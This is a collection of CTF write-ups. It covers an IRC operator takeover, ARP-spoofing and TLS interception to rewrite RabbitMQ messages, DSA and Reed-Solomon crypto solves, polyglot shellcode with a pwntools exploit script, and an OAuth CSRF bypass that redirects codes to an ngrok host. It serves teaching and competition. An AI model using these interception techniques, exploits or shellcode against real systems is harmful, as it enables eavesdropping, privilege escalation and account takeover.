:irc.hades.naum 372 baal :- `` / \\ ,='/ \\`=. / \\ '' 124 | :irc.hades.naum 372 baal :- |__ /|\\_,--.,-.--,--._/|\\ __| 125 | :irc.hades.naum 372 baal :- / `./ \\\\`\\ | | | /,//' \\,' \\ 126 | :irc.hades.naum 372 baal :- / / ||--+--|--+-/-| \\ \\ 127 | :irc.hades.naum 372 baal :- | | /'\\_\\_\\ | /_/_/`\\ | | 128 | :irc.hades.naum 372 baal :- \\ \\__, \\_ `~' _/ .__/ / 129 | OPER baal darksecret 130 | :irc.hades.naum 372 baal :- `-._,-' `-._______,-' `-._,-' 131 | :irc.hades.naum 372 baal :- 132 | NICK lordbaal 133 | :irc.hades.naum 372 baal :- TURN BACK NOW! 134 | :irc.hades.naum 376 baal :End of /MOTD command. 135 | :irc.hades.naum NOTICE * :*** Notice -- baal!eugene@172.30.20.2{baal} is now an operator 136 | :baal!eugene@172.30.20.2 MODE baal :+alosw 137 | :irc.hades.naum 381 baal :You are now an IRC operator 138 | :baal!eugene@172.30.20.2 NICK :lordbaal 139 | :baal!eugene@172.30.20.2 NICK :lordbaal 140 | JOIN #void 141 | :lordbaal!eugene@172.30.20.2 JOIN :#void 142 | :irc.hades.naum 353 lordbaal = #void :lordbaal impac66 imp63a3 krzys_h 143 | :irc.hades.naum 366 lordbaal #void :End of /NAMES list. 144 | JOIN #sanctum 145 | :lordbaal!eugene@172.30.20.2 JOIN :#sanctum 146 | :irc.hades.naum MODE #sanctum +nt 147 | :irc.hades.naum 353 lordbaal = #sanctum :@lordbaal 148 | :irc.hades.naum 366 lordbaal #sanctum :End of /NAMES list. 149 | PRIVMSG #void :greetings, imps 150 | PRIVMSG #sanctum :pretty lonely in here today... 151 | ``` 152 | Okay, so we have the server operator password! Let's just enter it in irssi (/oper username password) 153 | ``` 154 | 21:22 -!- Only few of mere mortals may try to enter the twilight zone 155 | ``` 156 | Oh come on. Maybe we have to use his username (baal) when connecting? 157 | ``` 158 | 21:23 -!- Only few of mere mortals may try to enter the twilight zone 159 | ``` 160 | Umm.. okay, at this point I noticed he used a different password for connecting to the server... maybe try that? 161 | ``` 162 | 21:24 -!- ERROR Closing Link: 172.30.0.14 (Bad Password) 163 | ``` 164 | I give up, let's just stop using irssi and connect to the IRC server using netcat like a pr0 hacker 165 | ``` 166 | krzys_h@krzysh-laptop:~ $ nc 172.30.20.10 6667 167 | :irc.hades.naum NOTICE * :*** Looking up your hostname 168 | PASS suckitinnotech 169 | NICK baal 170 | USER eugene 0 * :baal 171 | :irc.hades.naum NOTICE * :*** Couldn't look up your hostname 172 | :irc.hades.naum NOTICE baal :*** You are exempt from resvs 173 | :irc.hades.naum NOTICE baal :*** You are exempt from flood protection 174 | :irc.hades.naum 001 baal :Welcome to the hades Internet Relay Chat Network baal!eugene@172.30.0.14 175 | [... MOTD ...] 176 | :irc.hades.naum 376 baal :End of /MOTD command. 177 | OPER baal darksecret 178 | :irc.hades.naum NOTICE * :*** Notice -- baal!eugene@172.30.0.14{baal} is now an operator 179 | :baal!eugene@172.30.0.14 MODE baal :+alosw 180 | :irc.hades.naum 381 baal :You are now an IRC operator 181 | NICK lordkrzys 182 | :baal!eugene@172.30.0.14 NICK :lordkrzys 183 | JOIN #sanctum 184 | :lordkrzys!eugene@172.30.0.14 JOIN :#sanctum 185 | :irc.hades.naum 353 lordkrzys = #sanctum :lordkrzys @lordbaal 186 | :irc.hades.naum 366 lordkrzys #sanctum :End of /NAMES list. 187 | :lordbaal!eugene@172.30.20.2 PRIVMSG #sanctum :lordkrzys, who the hell are you?! gigem{command_and_out_of_control} 188 | ``` 189 | I think the problem was the hostname specified in the USER command. But whatever, we got the flag! It's a shame we don't see network challenges on CTFs more often, I really enjoyed this one. -------------------------------------------------------------------------------- /2019-03-03-tamuctf/network-pentest/homework/README.md: -------------------------------------------------------------------------------- 1 | Another cool network challenge! 2 | 3 | ``` 4 | Homework Help 5 | Could you help me with my homework? I think the professor's solution is broken. 6 | 7 | Difficulty: hard 8 | ``` 9 | 10 | We start with a traditional nmap over the challenge subnet 11 | ``` 12 | Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-03 20:34 CET 13 | Nmap scan report for 172.30.0.2 14 | Host is up (0.20s latency). 15 | Not shown: 999 closed ports 16 | PORT STATE SERVICE 17 | 80/tcp open http 18 | 19 | Nmap scan report for 172.30.0.3 20 | Host is up (0.20s latency). 21 | All 1000 scanned ports on 172.30.0.3 are closed 22 | 23 | Nmap scan report for 172.30.0.4 24 | Host is up (0.20s latency). 25 | All 1000 scanned ports on 172.30.0.4 are closed 26 | 27 | Nmap scan report for krzysh-laptop (172.30.0.14) 28 | Host is up (0.000076s latency). 29 | [this is my computer] 30 | 31 | Nmap done: 16 IP addresses (4 hosts up) scanned in 69.97 seconds 32 | ``` 33 | 34 | This is the website running on 172.30.0.2: 35 | ![image](https://user-images.githubusercontent.com/1517255/53700628-9d301780-3df4-11e9-95ff-84144c61d82e.png) 36 | 37 | We seem to have something that runs python, so let's just try `os.system()`... 38 | ![image](https://user-images.githubusercontent.com/1517255/53700697-4840d100-3df5-11e9-88d0-94997f4d9cc1.png) 39 | And there we go, we got the fla... wait, if that was the case this challenge wouldn't be marked as hard, would it? 40 | 41 | There is nothing interesting we have access to on the server, but you can notice that the name returned by "whoami" matches the website login in the top-right corner. Perhaps if we could log in as root, things would be different? But if we try to log out we get a message saying "Not important to the challenge; didn't implement it." What now? 42 | 43 | Don't forget this is a network challenge and we haven't even looked at the other hosts yet. Let's just arp spoof all the communication between them and see what is happening when we send the code to be executed. 44 | 45 | ![image](https://user-images.githubusercontent.com/1517255/53700822-b3d76e00-3df6-11e9-93dc-646503f9d649.png) 46 | 47 | The answer: a lot of SSL traffic going to port 5671, we'll probably have to decrypt it somehow. But first, let's check what we are even dealing with: 48 | ``` 49 | krzys_h@krzysh-laptop:~ $ openssl s_client -connect 172.30.0.4:5671 50 | hello, is anyone there? 51 | AMQP closed 52 | ``` 53 | Quick googling reveals that AMQP is Advanced Message Queuing Protocol, and the thing that is most likely running on it is RabbitMQ. I have absolutely no experience with RabbitMQ so I have no idea how to set up my own spoofed server, but that turned out to not be necessary. 54 | 55 | First, I would like to somehow intercept the encrypted communication and see what information is actually getting exchanged. Getting that to work properly was suprisingly difficult - sslsniff kept segfaulting on startup and I couldn't figure out why. In the end I switched to sslsplit which worked fine: 56 | ``` 57 | sudo iptables -t nat -A PREROUTING -p tcp --destination-port 5671 -j REDIRECT --to-ports 1234 58 | openssl genrsa -out ca.key 4096 59 | openssl req -new -x509 -days 1826 -key ca.key -out ca.crt 60 | mkdir /tmp/sslsplit logdir 61 | sudo sslsplit -D -l connections.log -j /tmp/sslsplit -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 1234 62 | cat logdir/* 63 | ``` 64 | ![image](https://user-images.githubusercontent.com/1517255/53700985-bb981200-3df8-11e9-9524-304f4f464b88.png) 65 | Looks like our assumptions about RabbitMQ were correct, and BINGO! 66 | ``` 67 | {"user": "alice", "assignment": "assignment_one", "code": "import os\nos.system(\"whoami\")\nos.system(\"pwd\")\nos.system(\"ls -la\")"} 68 | ``` 69 | It looks like we have to swap out the username here for "root". This turned out to be harder than I would have thought - I couldn't find any tools capable of modifying arbitrary SSL communication on the fly, everything I looked at was tailored specifically for HTTPS. At some point I read that `mitmproxy` which would be my go-to tool if this was HTTPS has experimental support for raw TCP mode, so I switched to using that... 70 | ``` 71 | mitmproxy --mode transparent --listen-port 1234 --ssl-insecure --tcp-hosts 172.30.0.2 --tcp-hosts 172.30.0.4 72 | ``` 73 | ... but after getting it all set up, I realized that the docs on raw TCP say 74 | ``` 75 | * The raw TCP messages are printed to the event log. 76 | * SSL connections will be intercepted. 77 | Please note that message interception or modification are not possible yet. If you are not interested in the raw TCP messages, you should use the ignore domains feature. 78 | ``` 79 | Aaaargh, too bad. So what do you do when you can't find a tool that does what you need it to do? You ~write it yourself~ brutally hack the closest thing you have to do what you want. I ended up finding the packet handling code in mitmproxy and hacking it like this: 80 | ```diff 81 | diff --git a/proxy/protocol/rawtcp.py.bkp b/proxy/protocol/rawtcp.py 82 | index 0ec5059..2ff5f29 100644 83 | --- a/proxy/protocol/rawtcp.py.bkp 84 | +++ b/proxy/protocol/rawtcp.py 85 | @@ -50,7 +50,10 @@ class RawTCPLayer(base.Layer): 86 | return 87 | continue 88 | 89 | - tcp_message = tcp.TCPMessage(dst == server, buf[:size].tobytes()) 90 | + x = buf[:size].tobytes() 91 | + x = x.replace(b'"user": "alice",', b'"user": "root", ') 92 | + print(x) 93 | + tcp_message = tcp.TCPMessage(dst == server, x) 94 | if not self.ignore: 95 | f.messages.append(tcp_message) 96 | self.channel.ask("tcp_message", f) 97 | ``` 98 | Now we just click "Run" on the website again and... 99 | ![image](https://user-images.githubusercontent.com/1517255/53701134-50e7d600-3dfa-11e9-9d72-a6b44c7ed80d.png) 100 | The rule of thumb on CTFs is "if it looks stupid but it works it's not stupid", and this certainly worked. The flag is `gigem{a_chain_is_only_as_strong_as_its_weakest_leporidae}` -------------------------------------------------------------------------------- /2019-04-05-midnightsun-ctf/crypto/Ezdsa/EZDSA.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2019-04-05-midnightsun-ctf/crypto/Ezdsa/EZDSA.tar.gz -------------------------------------------------------------------------------- /2019-04-05-midnightsun-ctf/crypto/Ezdsa/README.md: -------------------------------------------------------------------------------- 1 | > Someone told me not to use DSA, so I came up with this. 2 | 3 | > > settings Service: nc ezdsa-01.play.midnightsunctf.se 31337 4 | 5 | > > Download: [EZDSA.tar.gz](https://s3.eu-north-1.amazonaws.com/dl.2019.midnightsunctf.se/529C928A6B855DC07AEEE66037E5452E255684E06230BB7C06690DA3D6279E4C/EZDSA.tar.gz) 6 | 7 | In the archive, there is following Python file: 8 | 9 | ```python 10 | from hashlib import sha1 11 | from Crypto import Random 12 | from flag import FLAG 13 | 14 | 15 | class PrivateSigningKey: 16 | 17 | def __init__(self): 18 | self.gen = 0x44120dc98545c6d3d81bfc7898983e7b7f6ac8e08d3943af0be7f5d52264abb3775a905e003151ed0631376165b65c8ef72d0b6880da7e4b5e7b833377bb50fde65846426a5bfdc182673b6b2504ebfe0d6bca36338b3a3be334689c1afb17869baeb2b0380351b61555df31f0cda3445bba4023be72a494588d640a9da7bd16L 19 | self.q = 0x926c99d24bd4d5b47adb75bd9933de8be5932f4bL 20 | self.p = 0x80000000000001cda6f403d8a752a4e7976173ebfcd2acf69a29f4bada1ca3178b56131c2c1f00cf7875a2e7c497b10fea66b26436e40b7b73952081319e26603810a558f871d6d256fddbec5933b77fa7d1d0d75267dcae1f24ea7cc57b3a30f8ea09310772440f016c13e08b56b1196a687d6a5e5de864068f3fd936a361c5L 21 | self.key = int(FLAG.encode("hex"), 16) 22 | 23 | def sign(self, m): 24 | 25 | def bytes_to_long(b): 26 | return long(b.encode("hex"), 16) 27 | 28 | h = bytes_to_long(sha1(m).digest()) 29 | u = bytes_to_long(Random.new().read(20)) 30 | assert(bytes_to_long(m) % (self.q - 1) != 0) 31 | 32 | k = pow(self.gen, u * bytes_to_long(m), self.q) 33 | r = pow(self.gen, k, self.p) % self.q 34 | s = pow(k, self.q - 2, self.q) * (h + self.key * r) % self.q 35 | assert(s != 0) 36 | 37 | return r, s 38 | ``` 39 | 40 | The netcat service allows signing messages. We want to know the `key`, as it is the 41 | flag with a simple encoding. Take any message `m` (suppose it's already encoded as a number). 42 | Since `r`, `s`, `p`, `q` and `h` are known (`h = SHA1` of our message), we just need to know `k` in order to solve for `key`. 43 | As `q` is prime, `k^(q-2) % q == k^(-1) % q` (by Little Fermat's Theorem), so the 44 | last equation tells us that 45 | `` 46 | key == (s*k - h) * r^(-1) % q 47 | `` 48 | Note that if `key >= q`, then we stand no chance recovering it - we need to 49 | assume it's correct in size. 50 | 51 | All that needs to be done is to recover `k`. 52 | 53 | As we know, `k == gen^(um) % q == (gen^m)^u % q`. `u` is random, so 54 | in the worst case, we know nothing about `k`. But there is a hint - `m` 55 | cannot be a multiple of `q - 1`. This is, because of Fermat's Little 56 | Theorem (once again!), for any `x` nondivisible by `q`, `x^(q-1) % q == 1`. But there might be other numbers apart from `q-1` which satisfy this property. Indeed, we may 57 | check that `gen^((q-1)/2) % q == 1` (for this paricular `gen`). This means 58 | that for message `m = (q-1)/2`, we have `k == (gen^m)^u % q == 1^u % q == 1`. This is sufficient to recover `key`. 59 | 60 | Note that we didn't just have "luck" - for any `g`, and for any prime `q > 2`, it is true that `g^((q-1)/2) % q` is either `1` or `-1`. If it were `-1`, we'd just need to consider 2 cases for `u` odd and `u` even. 61 | 62 | So, let's try to recover the flag: 63 | ```python3 64 | >>> import base64 65 | >>> q = 0x926c99d24bd4d5b47adb75bd9933de8be5932f4b 66 | >>> msg = (q-1)//2 67 | >>> msg_encoded = msg.to_bytes((msg.bit_length()+7)//8, 'big') 68 | >>> base64.b64encode(msg_encoded) 69 | b'STZM6SXqato9bbrezJnvRfLJl6U=' 70 | ``` 71 | 72 | ``` 73 | Welcome to Spooners' EZDSA 74 | Options: 75 | 1. Sign protocol 76 | 2. Quit 77 | 1 78 | Enter data: 79 | STZM6SXqato9bbrezJnvRfLJl6U= 80 | (698847418084580852997663919979623019513778951409L, 629758878500372559472644038362239654961033814558L) 81 | ``` 82 | 83 | ```python3 84 | >>> from gmpy2 import invert 85 | >>> from hashlib import sha1 86 | >>> r, s = (698847418084580852997663919979623019513778951409, 629758878500372559472644038362239654961033814558) 87 | >>> q = 0x926c99d24bd4d5b47adb75bd9933de8be5932f4b 88 | >>> msg = (q-1)//2 89 | >>> msg_encoded = msg.to_bytes((msg.bit_length()+7)//8, 'big') 90 | >>> h = int.from_bytes(hashlib.sha1(msg_encoded).digest(), 'big') 91 | >>> h = int.from_bytes(sha1(msg_encoded).digest(), 'big') 92 | >>> key = int((s - h) * invert(r, q) % q) 93 | >>> key.to_bytes((key.bit_length()+7)//8, 'big') 94 | b'th4t_w4s_e4sy_eh?' 95 | ``` 96 | -------------------------------------------------------------------------------- /2019-04-05-midnightsun-ctf/crypto/Tulpan257/README.md: -------------------------------------------------------------------------------- 1 | > We made a ZK protocol with a bit of HFS-flair to it! 2 | > > Download: (tulpan257.tar.gz)[https://s3.eu-north-1.amazonaws.com/dl.2019.midnightsunctf.se/529C928A6B855DC07AEEE66037E5452E255684E06230BB7C06690DA3D6279E4C/tulpan257.tar.gz] 3 | 4 | Inside of the archive, there is this Sage file: 5 | ```python 6 | flag = "XXXXXXXXXXXXXXXXXXXXXXXXX" 7 | p = 257 8 | k = len(flag) + 1 9 | 10 | def prover(secret, beta=107, alpha=42): 11 | F = GF(p) 12 | FF. = GF(p)[] 13 | r = FF.random_element(k - 1) 14 | masked = (r * secret).mod(x^k + 1) 15 | y = [ 16 | masked(i) if randint(0, beta) >= alpha else 17 | masked(i) + F.random_element() 18 | for i in range(0, beta) 19 | ] 20 | return r.coeffs(), y 21 | 22 | sage: prover(flag) 23 | [141, 56, 14, 221, 102, 34, 216, 33, 204, 223, 194, 174, 179, 67, 226, 101, 79, 236, 214, 198, 129, 11, 52, 148, 180, 49] [138, 229, 245, 162, 184, 116, 195, 143, 68, 1, 94, 35, 73, 202, 113, 235, 46, 97, 100, 148, 191, 102, 60, 118, 230, 256, 9, 175, 203, 136, 232, 82, 242, 236, 37, 201, 37, 116, 149, 90, 240, 200, 100, 179, 154, 69, 243, 43, 186, 167, 94, 99, 158, 149, 218, 137, 87, 178, 187, 195, 59, 191, 194, 198, 247, 230, 110, 222, 117, 164, 218, 228, 242, 182, 165, 174, 149, 150, 120, 202, 94, 148, 206, 69, 12, 178, 239, 160, 7, 235, 153, 187, 251, 83, 213, 179, 242, 215, 83, 88, 1, 108, 32, 138, 180, 102, 34] 24 | ``` 25 | 26 | 27 | We can check, that the provided code implements Reed Solomon error correction 28 | code. In general, we could solve this uniquely, if `alpha` was 41 or less, but 29 | there is an algorithm that decodes all possible outputs for bigger alphas. It's 30 | implemented in SageMath. After recovering the secret polynomial `masked`, we 31 | invert it modulo $x^k+1$ and multiply it by the given polynomial `r`, to 32 | reconstruct secret flag. Note - for some reason the script doesn't work when run 33 | as `sage script.sage`, but it does work if you paste the script contents into 34 | sage REPL. 35 | -------------------------------------------------------------------------------- /2019-04-05-midnightsun-ctf/crypto/Tulpan257/solve.sage: -------------------------------------------------------------------------------- 1 | 2 | p = 257 3 | 4 | F = GF(p) 5 | FF. = F[] 6 | 7 | 8 | coefs = [141, 56, 14, 221, 102, 34, 216, 33, 204, 223, 194, 174, 179, 67, 226, 101, 79, 236, 214, 198, 129, 11, 52, 148, 180, 49] 9 | 10 | y = [138, 229, 245, 162, 184, 116, 195, 143, 68, 1, 94, 35, 73, 202, 113, 235, 46, 97, 100, 148, 191, 102, 60, 118, 230, 256, 9, 175, 203, 136, 232, 82, 242, 236, 37, 201, 37, 116, 149, 90, 240, 200, 100, 179, 154, 69, 243, 43, 186, 167, 94, 99, 158, 149, 218, 137, 87, 178, 187, 195, 59, 191, 194, 198, 247, 230, 110, 222, 117, 164, 218, 228, 242, 182, 165, 174, 149, 150, 120, 202, 94, 148, 206, 69, 12, 178, 239, 160, 7, 235, 153, 187, 251, 83, 213, 179, 242, 215, 83, 88, 1, 108, 32, 138, 180, 102, 34] 11 | 12 | r = sum(x^i*c for i, c in enumerate(coefs)) 13 | 14 | n, k = 107, 26 15 | 16 | C = codes.GeneralizedReedSolomonCode(F.list()[:n], k) 17 | 18 | D = sage.coding.guruswami_sudan.gs_decoder.GRSGuruswamiSudanDecoder(C, tau=42) 19 | 20 | masked = D.decode_to_message(vector(GF(257), y))[0] 21 | secret = (masked * r.inverse_mod(x^26+1)) % (x^26 + 1) 22 | print ''.join(map(chr, map(int, secret.coeffs()))) 23 | -------------------------------------------------------------------------------- /2019-04-05-midnightsun-ctf/crypto/Tulpan257/tulpan257.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2019-04-05-midnightsun-ctf/crypto/Tulpan257/tulpan257.tar.gz -------------------------------------------------------------------------------- /2019-04-05-midnightsun-ctf/programming/polyshell/README.md: -------------------------------------------------------------------------------- 1 | # MidnightSun CTF - Polyshell (programming) 2 | 3 | Challenge description: 4 | > You might be cool, but are you 5 popped shells cool? 5 | > > Service: nc polyshell-01.play.midnightsunctf.se 30000 6 | 7 | After connecting we're welcomed with the message similar to the following one: 8 | ```txt 9 | 10 | Welcome to the polyglot challenge! 11 | Your task is to create a shellcode that can run on the following architectures: 12 | x86 13 | x86-64 14 | ARM 15 | ARM64 16 | MIPS-LE 17 | 18 | The shellcode must run within 1 second(s) and may run for at most 100000 cycles. 19 | The code must perform a syscall on each platform according to the following paramters: 20 | Syscall number: 102 21 | Argument 1: 19701 22 | Argument 2: A pointer to the string "natural" 23 | 24 | You submit your code as a hex encoded string of max 4096 characters (2048 bytes) 25 | 26 | Your shellcode: 27 | ``` 28 | Seems like a rather tough challenge. 29 | 30 | Also, the syscall number and arguments differ between connections. 31 | 32 | After a bit of googling one of our teammates found 33 | [this code](https://github.com/ixty/xarch_shellcode/blob/master/stage0/poc.asm). 34 | This code branches to different labels using instructions that are interpreted 35 | as jump instructions on some architectures and are still valid instructions on 36 | other architectures. 37 | We only needed to add MIPS-LE to this bag. 38 | 39 | MIPS-LE instructions are 4 bytes wide, just like ARM's and ARM64's. 40 | 41 | The first 4 bytes: 42 | ```nasm 43 | db 0xeb, (_x86 - $ - 2), 0x00, 0x32 44 | ``` 45 | are interpreted on MIPS-LE as 46 | ```mips 47 | andi zero, s0, 0x12eb. 48 | ``` 49 | Almost good, but not yet, because register `zero` isn't 50 | writable. I only had to change the 3rd byte: 51 | ```nasm 52 | db 0xeb, (_x86 - $ - 2), 0x12, 0x32 53 | ``` 54 | After this change it's interpreted on MIPS-LE as 55 | ```mips 56 | andi s2, s0, 0x12eb 57 | ``` 58 | and still won't break on ARM and ARM64. 59 | 60 | The next 4 bytes, which are interpreted as jump on ARM, aren't so easily 61 | fixable, so I've decided to check how MIPS-LE's jump instruction are interpreted 62 | on ARM and ARM64. 63 | 64 | MIPS-LE has jump and branch instructions. Jump instructions are absolute so we 65 | can't really use them reliably because we don't know where our shellcode resides 66 | in memory. Branch instructions are relative. I've decided to use 67 | ```mips 68 | beq s0, s0, _mips 69 | ``` 70 | Most times it's true that `s0 == s0`, so this will always jump to `_mips` label. 71 | Bytes of this instruction are interpreted as 72 | ```arm 73 | andscc r1, r2, #0xb000000e 74 | ``` 75 | and 76 | ```aarch64 77 | orr w11, w23, #0x7c000 78 | ``` 79 | on ARM and ARM64 respectively, so we're safe. 80 | 81 | MIPS will always execute pipelined instruction right after the jump, so we need 82 | some valid MIPS-LE (and ARM and ARM64) instruction right after this jump. I've 83 | just copied the very first one. 84 | 85 | I've used pwnlib's shellcraft module to generate syscall payloads for all 86 | architectures. (See [get\_nasm\_syscall\_code](solve.py#L38-L43)) 87 | 88 | See [`poc.asm`](poc.asm) for the full polyglot shellcode. 89 | 90 | 91 | ## Starting the solution 92 | ```sh 93 | python2 solve.py 94 | ``` 95 | (you need to have pwntools installed) 96 | -------------------------------------------------------------------------------- /2019-04-05-midnightsun-ctf/programming/polyshell/poc.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; https://github.com/ixty/xarch_shellcode 3 | ; 4 | ; 2016 - ixty 5 | ; multi-arch linux shellcode 6 | ; works on: 7 | ; x86 8 | ; x86_64 9 | ; arm 10 | ; arm_64 11 | ; mips 12 | 13 | ; compile with nasm 14 | bits 32 15 | _start: 16 | 17 | 18 | ; ======================================================================= ; 19 | ; init, polyglot shellcode for arm, arm64, x86, x86_64, mips 20 | ; branches out to specific arch dependent payloads 21 | ; ======================================================================= ; 22 | 23 | ; x86 jmp _x86 ; junk 24 | ; x86_64 jmp _x86 ; junk 25 | ; arm andscc r1, r2, #0xb000000e 26 | ; arm64 orr w11, w23, #0x7c000 27 | ; mips andi s2, s0, 0x12eb 28 | db 0xeb, (_x86 - $ - 2), 0x12, 0x32 29 | 30 | ; arm andsne r0, r0, #0x62 31 | ; arm64 and w2, w3, #0x10000 32 | ; mips beq s0, s0, _mips 33 | db ((_mips - $ - 4) / 4), 0x00, 0x10, 0x12 34 | ; It's needed because mips will execute next instruction regardles of jump. (Don't ask my why) 35 | ; arm andscc r1, r2, #0xb000000e 36 | ; arm64 orr w11, w23, #0x7c000 37 | ; mips andi s2, s0, 0x12eb 38 | db 0xeb, (_x86 - $ - 2), 0x12, 0x32 39 | 40 | ; arm b _arm 41 | ; arm64 ands x1, x0, x0 42 | db ((_arm - $ - 8) / 4), 0x00, 0x00, 0xea 43 | 44 | ; arm64 b _arm64 45 | db ((_arm64 - $) / 4), 0x00, 0x00, 0x14 46 | 47 | 48 | ; ======================================================================= ; 49 | ; x86 only, detect 32/64 bits 50 | ; ======================================================================= ; 51 | 52 | _x86: 53 | ; x86 xor eax, eax; 54 | ; x86_64 xor eax, eax; 55 | xor eax, eax 56 | ; x86 inc eax 57 | ; x86_64 REX + nop 58 | db 0x40 59 | nop 60 | jz _x86_64 61 | 62 | ; x86 jmp x86_32 63 | jmp _x86_32 64 | 65 | 66 | ; ======================================================================= ; 67 | ; PAYLOADs 68 | ; ======================================================================= ; 69 | ; Generated dynamically with pwnlib.shellcraft 70 | -------------------------------------------------------------------------------- /2019-04-05-midnightsun-ctf/programming/polyshell/solve.py: -------------------------------------------------------------------------------- 1 | # 2 | # Author: Jakub (MrQubo) Nowak 3 | # 4 | import os 5 | from pwn import * 6 | 7 | context.update(log_level='debug') 8 | 9 | 10 | syscall_num = 'SYS_write' 11 | arg1 = 0x1337 12 | arg2 = '01234' 13 | 14 | replace = '' 15 | 16 | 17 | all_archs = [ 18 | dict(sc = shellcraft.i386, arch = 'i386', label = '_x86_32', sp = 'esp'), 19 | dict(sc = shellcraft.amd64, arch = 'amd64', label = '_x86_64', sp = 'rsp'), 20 | dict(sc = shellcraft.arm, arch = 'arm', label = '_arm', sp = 'sp', align = 4), 21 | dict(sc = shellcraft.aarch64, arch = 'aarch64', label = '_arm64', sp = 'sp', align = 4), 22 | dict(sc = shellcraft.mips, arch = 'mips', label = '_mips', sp = '$sp', align = 4), 23 | ] 24 | 25 | no_mipsel_archs = all_archs[:-1] 26 | 27 | 28 | def hexmap(b): 29 | return map(lambda c: '%02x' % ord(c), b) 30 | 31 | def hex_str(b): 32 | return ''.join(hexmap(b)) 33 | 34 | def hex_nasm_db(b): 35 | return 'db ' + ','.join(map(lambda c: '0x' + c, hexmap(b))) 36 | 37 | 38 | def get_nasm_syscall_code(arch): 39 | sc = arch['sc'] 40 | s = '' 41 | s += sc.pushstr(arg2, append_null=True) 42 | s += sc.linux.syscall(syscall_num, arg1, arch['sp']) 43 | b = asm(s, arch = arch['arch']) 44 | return hex_nasm_db(b) 45 | 46 | 47 | def get_nasm_syscall_write_code(arch): 48 | sc = arch['sc'] 49 | s = '' 50 | s += sc.pushstr(arg2, append_null=True) 51 | s += sc.linux.syscall('SYS_write', 1, arch['sp'], len(arg2)) 52 | s += sc.sh() # there's no infloop() on mips 53 | b = asm(s, arch = arch['arch']) 54 | return hex_nasm_db(b) 55 | 56 | 57 | def construct_nasm_code(archs, construct_nasm_arch_code): 58 | code = '' 59 | with open('poc.asm', 'r') as f: 60 | code += f.read() % dict(replace = replace) 61 | code += '\n' 62 | 63 | for arch in archs: 64 | if 'align' in arch: 65 | code += ' times (%(align)s - (($ - _start) %% %(align)s)) nop\n' % arch 66 | code += arch['label'] 67 | code += ':\n' 68 | code += ' ' 69 | code += construct_nasm_arch_code(arch) 70 | code += '\n' 71 | 72 | return code 73 | 74 | 75 | def compile_nasm(s): 76 | with open('_nasm.asm', 'w') as f: 77 | f.write(s) 78 | 79 | os.system('nasm -f bin -o _nasm.bin _nasm.asm') 80 | 81 | with open('_nasm.bin', 'r') as f: 82 | b = f.read() 83 | 84 | return b 85 | 86 | 87 | def test_archs(archs): 88 | s = construct_nasm_code(archs, get_nasm_syscall_write_code) 89 | b = compile_nasm(s) 90 | 91 | write_elfs(b, archs) 92 | 93 | for arch in archs: 94 | try: 95 | with run_shellcode(b, arch=arch['arch']) as p: 96 | if (p.recv(timeout=1) != arg2): 97 | return False 98 | except: 99 | return False 100 | 101 | print(arch['arch'] + ': Test successful') 102 | 103 | return True 104 | 105 | 106 | def exec_sploit(archs): 107 | global syscall_num, arg1, arg2 108 | 109 | with remote('polyshell-01.play.midnightsunctf.se', 30000) as p: 110 | p.recvuntil(['Syscall number: ']) 111 | syscall_num = int(p.recvline()) 112 | p.recvuntil(['Argument 1: ']) 113 | arg1 = int(p.recvline()) 114 | p.recvuntil(['Argument 2: A pointer to the string "']) 115 | arg2 = p.recvuntil(['"'], drop=True) 116 | 117 | s = construct_nasm_code(archs, get_nasm_syscall_code) 118 | b = compile_nasm(s) 119 | s = hex_str(b) 120 | 121 | p.send(s) 122 | print(p.recvall()) 123 | 124 | 125 | def write_elfs(b, archs): 126 | for arch in archs: 127 | elf_name = 'elf-' + arch['arch'] 128 | ELF.from_bytes(b, arch=arch['arch']).save(elf_name) 129 | os.chmod(elf_name, 0755) 130 | 131 | 132 | exec_sploit(all_archs) 133 | # test_archs(all_archs) 134 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/README.md: -------------------------------------------------------------------------------- 1 | Flaky is a web app written in Flask, that implements an OAuth server. 2 | We can create an account, and after logging in, we can create OAuth clients. We can also send a URL for admin to see. 3 | 4 | Quick glance into `routes.py` file, and we see this function: 5 | 6 | ```python 7 | @bp.route('/api/flag') 8 | @require_oauth('flag') 9 | def api_flag(): 10 | user = current_token.user 11 | if user.username == ADMIN: 12 | return FLAG 13 | return 'chCTF{no flag for you} (no, seriously, this is not the flag)' 14 | ``` 15 | 16 | This means that we need to make admin give us permission for `flag`. How do we authorize client for a user? This is done by filling the form at `/oauth/authorize` form. This is analogous to all the "login with" flows that are widely-seen on the internet -- first you log in, then click a button that confirms you authorize the app to do sth. The button itself is a self contained form with CSRF token attached. This means, that we cannot click it by ourselves with simple `fetch` request, because that results in a 500 Bad Request. There's a subtle bug though. CSRF token is validated for POST requests, but isn't for GET requests. So far so good. The code for the route is basically 17 | 18 | ```python 19 | @bp.route('/oauth/authorize', methods=['GET', 'POST']) 20 | def authorize(): 21 | if request.method == 'GET': 22 | # ... display the authorization form 23 | else: 24 | # process the form 25 | ``` 26 | 27 | It tourns out, that for `HEAD` requests, `flask` router treats them the same as `GET`, so that the support for them is less burdensome - the route is evaluated, but only the content length is transfered, not data. 28 | Inside the method however, `request.method == 'HEAD'`. `HEAD` doesn't qualify for CSRF checks. This means, that the `else` clause can actually be reached with a `HEAD` request not guarded by CSRF. 29 | 30 | I created a client like this: 31 | 32 | ``` 33 | Client Info 34 | client_id: M2ILFb7upkWxbSS6CZvQ3kro 35 | client_secret: EDbum3EF5x8LfpVlbQMfQWFzsoFyteaMs4xyiFx6kbetBlQL 36 | client_id_issued_at: 1595525394 37 | client_secret_expires_at: 0 38 | Client Metadata 39 | client_name: aaaa 40 | client_uri: http://fe0ca3c5fbbc.ngrok.io 41 | grant_types: ['authorization_code'] 42 | redirect_uris: ['http://fe0ca3c5fbbc.ngrok.io'] 43 | response_types: ['code'] 44 | scope: flag 45 | token_endpoint_auth_method: client_secret_post 46 | ``` 47 | 48 | With this info, I made following webpage and send the link to the admin: 49 | 50 | ```html 51 | 57 | ``` 58 | 59 | After a while, I got a request: 60 | ``` 61 | 127.0.0.1 - - [23/Jul/2020 20:01:59] "HEAD 